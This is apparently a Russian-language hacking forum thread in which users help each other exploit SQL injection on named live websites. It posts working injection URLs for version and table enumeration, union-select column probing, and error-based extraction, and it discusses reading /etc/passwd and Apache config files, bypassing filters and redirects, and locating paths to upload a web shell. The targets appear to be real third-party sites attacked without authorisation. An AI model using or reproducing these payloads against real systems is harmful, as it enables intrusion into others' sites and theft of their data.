Ваши вопросы по уязвимостям.

1. причем тут яп сайта? будь это asp/php/jsp/cfm, все дело в базах, больше всего используются связки asp+MS_SQL или asp+MS_ACCESS

2. http://www.tall.com/detail.php?itemid=7565&size=454+and+1=@@version
http://www.tall.com/detail.php?itemid=7565&size=454+and+1=(select+top+1+table_name+from+information_schema.tables)

 

Konqi просто помню одному человеку показал линк на иньекцию, сказав возможно это blind он сказал что на asp не раскрутить т. к там не всё так просто, вот и задал такой вопрос

 

а что, asp требует особых sql запросов?
пусть здесь выскажет свое мнение,мне тоже интересно

 

Какой может быть путь у сайта с @@version_compile_os= redhat-linux-gnu ?

 

дерева *NIX, больше никто ничего не может сказать

 

Нашёл в etc/passw следующие:

 

-PRIVAT-

для начала скажу что такого файла нету, а еще этот файл ниче не даст

 

если читалка работает то попробуй найти /etc/httpd/conf/httpd.conf

 

category.php?categoryID=55+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+ указывает на фильтрацию, обхожу фильтр выдаёт цифры для вывода инфы но страница держится не больше 1 секунды, и перекидывает на главгую, возможно что то сделать?
впринцепи решение уже нашёл.. "остановив страницу"))
ну может есть ещё какой способ
т.к не всегда получается успеть нажать на stop

 

Используй спец софт, а не в браузере.

 

юзай более продвинутые бразуеры, такие как opera.

 

попугай от того что я перешёл на оперу ничего не изменилось(
IMMORTAL_S софт тот что у меня есть фильтр не обходит

 

Мдауж, отруби редирект + javascript в браузере.

)) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --

 

У меня тоже есть сайтиги где можно через скулю залить шелл, но пути незнаю. Прочитал файл /etc/httpd/conf/httpd.conf , но путей не нашел. Или в конфиге апача не всегда путь найти можно? Кто подскажет?

 

Покажи сайт в пм.

 

Charle не во всех случаях помогает отрубленая джаваскрипт

 

Научите плз крутить такие инъекции, когда order by показывает определенное кол-во полей, но union select говорит, что кол-во полей не совпадает.. в общем как бы двойная инъекция должна быть, а вот с синтаксисом у меня траблы...

Code:

http://www.starallergyalerts.com.au/shop/cart.php?target=product&product_id=16264+union+select+1,2,3,4,5,6--&category_id=259

спасибо!

 

И какое кол-во полей тебе показывает order by?

З.Ы.

Code:

http://www.starallergyalerts.com.au/shop/cart.php?target=product&product_id=16264'and+mid(version(),1,1)='4&category_id=259

Code:

http://www.starallergyalerts.com.au/shop/cart.php?target=product&product_id=16264'or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+version()),1,64),floor(rand(0)*2)))='1&category_id=259

Вывод в ошибке - 4.1.22-log

 

Есть скуль, фильтрует select или union. Может кто помочь раскрутить ?

 

http://www.music-master.ru/?action=show_list&cat=-11069+'+union+select+concat_ws(0x3a,version(),user(),database())+--+